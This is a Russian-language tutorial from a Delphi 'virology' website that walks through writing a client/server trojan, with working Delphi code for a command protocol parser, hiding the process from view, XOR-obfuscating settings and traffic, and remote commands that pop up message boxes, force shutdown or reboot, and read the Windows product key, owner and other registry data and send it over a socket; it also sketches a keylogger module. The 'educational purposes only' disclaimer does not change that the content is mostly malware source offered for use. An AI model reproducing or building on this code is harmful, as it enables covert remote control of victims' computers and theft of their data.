Четверг, 21.11.2024, 22:44 Приветствую вас Гость | Группа "Гости" 
Меню сайта

Категории раздела
Вирусология [40]
Статьи о вирусах
Системные [1]
Работа с системой
Примеры [45]
Приёмы, функции, процедуры
Ceти [1]
Работа с интернет
Шуточные программы [5]
Пишем шуточные программки
Остальное [6]
Всё что не вошло

Популярные статьи

Недавние темы

Опрос
Каким ICQ клиентом вы пользуетесь?
Всего ответов: 526

Главная » Статьи » Delphi » Вирусология

Урок анатомии. Трой
com.[]sig.[]par.[]par.[]par++
Сокращения:
com. - команда
sig. - сигнатура
par. - параметр
[ ] - разделитель (разделителем может быть любой символ, который точно не встретится в самой команде или в параметре).
Естественно следует привести пример реализации такого протокола обмена:
function _parser(str:string):tstringlist;
var
s : tstringlist;
i : integer;
st : integer;
sp : boolean;
begin
st := 0;
sp := true;
s := tstringlist.create;
s.add(”);
for i := 1 to length(str) do
begin
if str[i] = ‘†’ then
begin
if not sp then
begin
inc(st);
s.add(”);
end;
sp := true;
end
else
begin
sp := false;
s.strings[st] := s.strings[st] + str[i];
end;
end;
if sp then s.delete(s.count-1);
result:=s;
end;
Функция разделяет переданную строчку на слова. Разделителем здесь является символ «†».
У большинства троянов обмен данными идет по нескольким портам одновременно. Это позволяет разделить как трафик, так и команды по спецификации. Скажем, через первый порт идет отсылка информации злоумышленнику, а через второй порт принимаются команды, направленные трою. Конечно, это делает работу удобнее и быстрее, но это облегчает процесс определения троянской программы.
После реализации протокола обмена можно заняться той частью, которая будет делать троянскую программу «невидимой для посторонних глаз». Способов существует безусловно множество, мы же рассмотрим только один и самый леггий:
type
tregisterserviceprocess = function (dwprocessid,dwtype:dword) : dword;
stdcall;
При создании формы пишем следующее:
var
hndl : thandle;
registerserviceprocess : tregisterserviceprocess;
begin
hndl:=loadlibrary(’KERNEL32.DLL’);
registerserviceprocess:=getprocaddress(hndl,’RegisterServiceProcess’);
registerserviceprocess(getcurrentprocessid,1);
freelibrary(hndl);
Обязательно указываем в проекте следующий параметр:
application.showmainform:=false;
Все значения, такие как порт, пароли и т.д. должны храниться в зашифрованном виде. Сильно громоздкие и сложные алгоритмы по шифровке использовать не следует, т.к. это все равно не спасет от тех, кто действительно захочет получить эту информацию. Следующий алгоритм будет пожалуй наиболее подходящим:
function crypt(str:string):string;
var
len : integer;
a : integer;
b : integer;
c : integer;
d : integer;
r : string;
begin
d := 13;
r := ”;
len := length(str);
for a := 1 to len do
begin
b := ord(str[a]);
b := b - 32;
c := b xor d;
c := c + 32;
r := r + chr(c);
d := d + 1;
end;
result := r;
end;
Такой же алгоритм можно использовать и для шифровки трафика, тогда немного поменяем схему: сначала трафик передается функции crypt, а потом уже _parser.
После окончания кодинга протокола обмена и шифровки значений идет тело самого троя. При написании могут использоваться самые разные схемы, мы же используем наиболее понятную (см. рис.).
Как видите, при запуске, троян становится невидимым, потом он инсталлируется в систему и переходит в состояние ожидания, но отдельно висит offline keylogger, который периодчески сохраняет свой буфер в укромное место. Кроме keylogger ещё ping модуль висит, всегда готовый ответить на запрос. При получении некоего трафика он проходит через _parser модуль, который ещё определяет есть ли это то, что надо, или это просто неправильный запрос не от клиента. Если пароль введен правильно, то последующий трафик сразу идет на командный модуль. Некоторые модули на схеме связаны не только с основным, но и командным модулем потому, что, например, модуль remote ping включается только через команду, а keylogger высылает записанные им клавиши тоже только при поступлении соответствующей команды.

На самом деле это упрощенная схема, сюда можно ещё много чего добавить, но это уже ваше дело. А теперь я хотел бы немного отойти от теории, и чуть-чуть приблизиться к практике. Вот примеры некоторых команд:
Это пример команды messagebox. Я не буду объяснять значение
всех переменных т.к. это всего лишь пример и здесь итак все понятно.
_com - команда
_data - ответ функции _parser
const
_line = #13+#10;
_icon : array [0..4] of integer=(0,mb_iconexclamation,
mb_iconinformation,mb_iconstop,mb_iconquestion);

############################################################
if _com = 2 then
begin
if _data.count = 6 then
if (strtoint(_data[5]) = 0) or
(strtoint(_data[5]) = 1) or
(strtoint(_data[5]) = 2) or
(strtoint(_data[5]) = 3) or
(strtoint(_data[5]) = 4) then
begin
if _data[2] = ‘1? then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_ok + _icon[strtoint(_data[5])]) 0 then
begin
socket.sendtext(_name+’ : true {2,1,’+_data[5]+’}’+_line);
socket.sendtext(_name+’ : ok {2,1,’+_data[5]+’}’+_line);
end;
end;
if _data[2] = ‘2? then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_okcancel + _icon[strtoint(_data[5])]) = idok then
begin
socket.sendtext(_name+’ : true {2,2,’+_data[5]+’}’+_line);
socket.sendtext(_name+’ : ok {2,2,’+_data[5]+’}’+_line);
end else
begin
socket.sendtext(_name+’ : true {2,2,’+_data[5]+’}’+_line);
socket.sendtext(_name+’ : cancel {2,2,’+_data[5]+’}’+_line);
end;
end;
if _data[2] = ‘3? then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_yesno + _icon[strtoint(_data[5])]) = idyes then
begin
socket.sendtext(_name+’ : true {2,3,’+_data[5]+’}’+_line);
socket.sendtext(_name+’ : yes {2,3,’+_data[5]+’}’+_line);
end else
begin
socket.sendtext(_name+’ : true {2,3,’+_data[5]+’}’+_line);
socket.sendtext(_name+’ : no {2,3,’+_data[5]+’}’+_line);
end;
end;
if _data[2] = ‘4? then
begin
k := messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_abortretryignore + _icon[strtoint(_data[5])]);
if k = idabort then
begin
socket.sendtext(_name+’ : true {2,4,’+_data[5]+’}’+_line);
socket.sendtext(_name+’ : abort {2,4,’+_data[5]+’}’+_line);
end else
if k = idretry then
begin
socket.sendtext(_name+’ : true {2,4,’+_data[5]+’}’+_line);
socket.sendtext(_name+’ : retry {2,4,’+_data[5]+’}’+_line);
end else
if k = idignore then
begin
socket.sendtext(_name+’ : true {2,4,’+_data[5]+’}’+_line);
socket.sendtext(_name+’ : ignore {2,4,’+_data[5]+’}’+_line);
end;
end;
if _data[2] = ‘5? then
begin
k := messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_yesnocancel + _icon[strtoint(_data[5])]);
if k = idyes then
begin
socket.sendtext(_name+’ : true {2,5,’+_data[5]+’}’+_line);
socket.sendtext(_name+’ : yes {2,5,’+_data[5]+’}’+_line);
end else
if k = idno then
begin
socket.sendtext(_name+’ : true {2,5,’+_data[5]+’}’+_line);
socket.sendtext(_name+’ : no {2,5,’+_data[5]+’}’+_line);
end else
if k = idcancel then
begin
socket.sendtext(_name+’ : true {2,5,’+_data[5]+’}’+_line);
socket.sendtext(_name+’ : cancel {2,5,’+_data[5]+’}’+_line);
end;
end;
if _data[2] = ‘6? then
begin
if messagebox(0,pchar(_data[3]),pchar(_data[4]),
mb_retrycancel + _icon[strtoint(_data[5])]) = idretry then
begin
socket.sendtext(_name+’ : true {2,6,’+_data[5]+’}’+_line);
socket.sendtext(_name+’ : retry {2,6,’+_data[5]+’}’+_line);
end else
begin
socket.sendtext(_name+’ : true {2,6,’+_data[5]+’}’+_line);
socket.sendtext(_name+’ : cancel {2,6,’+_data[5]+’}’+_line);
end;
end;
exit;
end;
end;

Пример команды exitwindows:
if _com = 6 then
begin
if _data.count = 3 then
begin
if _data[2] = ‘1? then
begin
socket.sendtext(_name+’ : true {6,1}’+_line);
exitwindows(ewx_force,1);
end else
if _data[2] = ‘2? then
begin
socket.sendtext(_name+’ : true {6,2}’+_line);
exitwindows(ewx_logoff,1);
end else
if _data[2] = ‘3? then
begin
socket.sendtext(_name+’ : true {6,3}’+_line);
exitwindows(ewx_poweroff,1);
end else
if _data[2] = ‘4? then
begin
socket.sendtext(_name+’ : true {6,4}’+_line);
exitwindows(ewx_reboot,1);
end;
if _data[2] = ‘5? then
begin
socket.sendtext(_name+’ : true {6,5}’+_line);
exitwindows(ewx_shutdown,1);
end;
exit;
end;
end;

Сбор некоторых сведений о системе:
if _com = 7 then
begin
if _data.count = 2 then
begin
_inf := tregistry.create;
_inf.rootkey:=hkey_local_machine;
if _inf.openkey(’software\microsoft\windows\currentversion’,true)
= true then
st := _inf.readstring(’Version’)
else
st := ‘unknown’;
socket.sendtext(_name+’ : system : ‘+st+’ {7}’+_line);
_inf.closekey;
if
_inf.openkey(’hardware\description\system\centralprocessor?,true)
= true then
st := _inf.readstring(’vendoridentifier’)
else
st := ‘unknown’;
socket.sendtext(_name+’ : processor : ‘+st+’ {7}’+_line);
_inf.closekey;
if _inf.openkey(’config001\display\settings’,true) = true then
st := _inf.readstring(’resolution’)
else
st := ‘unknown’;
socket.sendtext(_name+’ : resolution : ‘+st+’ {7}’+_line);
_inf.closekey;
if _inf.openkey(’config001\display\settings’,true) = true then
st := _inf.readstring(’bitsperpixel’)
else
st := ‘unknown’;
socket.sendtext(_name+’ : bits per pixel : ‘+st+’ {7}’+_line);
_inf.closekey;
if _inf.openkey(’software\microsoft\windows\currentversion’,true)
= true then
st := _inf.readstring(’systemroot’)
else
st := ‘unknown’;
socket.sendtext(_name+’ : system root : ‘+st+’ {7}’+_line);
_inf.closekey;
if _inf.openkey(’software\microsoft\windows\currentversion’,true)
= true then
st := _inf.readstring(’productkey’)
else
st := ‘unknown’;
socket.sendtext(_name+’ : product key : ‘+st+’ {7}’+_line);
_inf.closekey;
if _inf.openkey(’software\microsoft\windows\currentversion’,true)
= true then
st := _inf.readstring(’productname’)
else
st := ‘unknown’;
socket.sendtext(_name+’ : product name : ‘+st+’ {7}’+_line);
_inf.closekey;
if _inf.openkey(’software\microsoft\windows\currentversion’,true)
= true then
st := _inf.readstring(’programfilespath’)
else
st := ‘unknown’;
if st = ” then
begin
_inf.closekey;
if _inf.openkey(’software\microsoft\windows\currentversion’,true)
= true then
st := _inf.readstring(’programfilesdir’)
else
st := ‘unknown’;
end;
socket.sendtext(_name+’ : programfiles path : ‘+st+’ {7}’+_line);
_inf.closekey;
if _inf.openkey(’software\microsoft\windows\currentversion’,true)
= true then
st := _inf.readstring(’registeredorganization’)
else
st := ‘unknown’;
socket.sendtext(_name+’ : registered organization : ‘+st+’
{7}’+_line);
_inf.closekey;
if _inf.openkey(’software\microsoft\windows\currentversion’,true)
= true then
st := _inf.readstring(’registeredowner’)
else
st := ‘unknown’;
socket.sendtext(_name+’ : registered owner : ‘+st+’ {7}’+_line);
_inf.closekey;
if _inf.openkey(’software\microsoft\windows\currentversion’,true)
= true then
st := _inf.readstring(’sm_accessoriesname’)
else
st := ‘unknown’;
socket.sendtext(_name+’ : accessories name : ‘+st+’ {7}’+_line);
_inf.closekey;
if _inf.openkey(’software\microsoft\windows\currentversion’,true)
= true then
st := _inf.readstring(’versionnumber’)
else
st := ‘unknown’;
socket.sendtext(_name+’ : version number : ‘+st+’ {7}’+_line);
_inf.closekey;
if _inf.openkey(’software\microsoft\windows\currentversion’,true)
= true then
st := _inf.readstring(’wallpaperdir’)
else
st := ‘unknown’;
socket.sendtext(_name+’ : wall paper dir : ‘+st+’ {7}’+_line);
_inf.closekey;
if _inf.openkey(’software\microsoft\windows\currentversion’,true)
= true then
st := _inf.readstring(’productid’)
else
st := ‘unknown’;
socket.sendtext(_name+’ : product id : ‘+st+’ {7}’+_line);
_inf.closekey;
if _inf.openkey(’software\microsoft\windows\currentversion’,true)
= true then
st := _inf.readstring(’otherdevicepath’)
else
st := ‘unknown’;
socket.sendtext(_name+’ : other device path : ‘+st+’ {7}’+_line);
_inf.closekey;
if _inf.openkey(’software\microsoft\windows\currentversion’,true)
= true then
st := _inf.readstring(’mediapath’)
else
st := ‘unknown’;
socket.sendtext(_name+’ : media path : ‘+st+’ {7}’+_line);
_inf.closekey;
_inf.destroy;
exit;
end;
end;

Проставление приоритета своему процессу:
if _com = 14
then
begin
if _data.count = 2 then
begin
if pr = false then
begin
processid := getcurrentprocessid;
processhandle :=
openprocess(process_set_information,false,processid);
setpriorityclass(processhandle,realtime_priority_class);
threadhandle := getcurrentthread;
setthreadpriority(threadhandle,thread_priority_time_critical);
socket.sendtext(_name+’ : true (on) {14}’+_line);
pr := true;
end
else
begin
processid := getcurrentprocessid;
processhandle :=
openprocess(process_set_information,false,processid);
setpriorityclass(processhandle,normal_priority_class);
threadhandle := getcurrentthread;
setthreadpriority(threadhandle,thread_priority_normal);
socket.sendtext(_name+’ : true (off) {14}’+_line);
pr := false;
end;
exit;
end;
end;
Вот мы и рассмотрели код простой троянской программы, написанной на делфи по технологии клиент/сервер. На это все.
P.S.: все вышеизложенные сведения представлены только в образовательных целях, автор не несет никакой ответственности за использование материалов статьи в злонамеренных целях.

Категория: Вирусология | Добавил: dolphin (27.09.2008)
Просмотров: 2476 | Рейтинг: 3.0/2

Всего комментариев: 0
avatar
Профиль



Поиск

Наша кнопка
Вирусология, взгляд из Delphi

Статистика
Top.Mail.Ru Яндекс.Метрика Счетчик тИЦ и PR
Статистика материалов
Файлов: 457
Форум: 1165/8118
Коментариев: 770
Новостей: 29

Статистика пользователей
Всего: 379
За неделю: 1
Вчера: 0
Сегодня: 0
Всего онлайн: 39
Гостей: 39
Пользователей: 0

delphicode.ru © 2008 - 2024 Хостинг от uCoz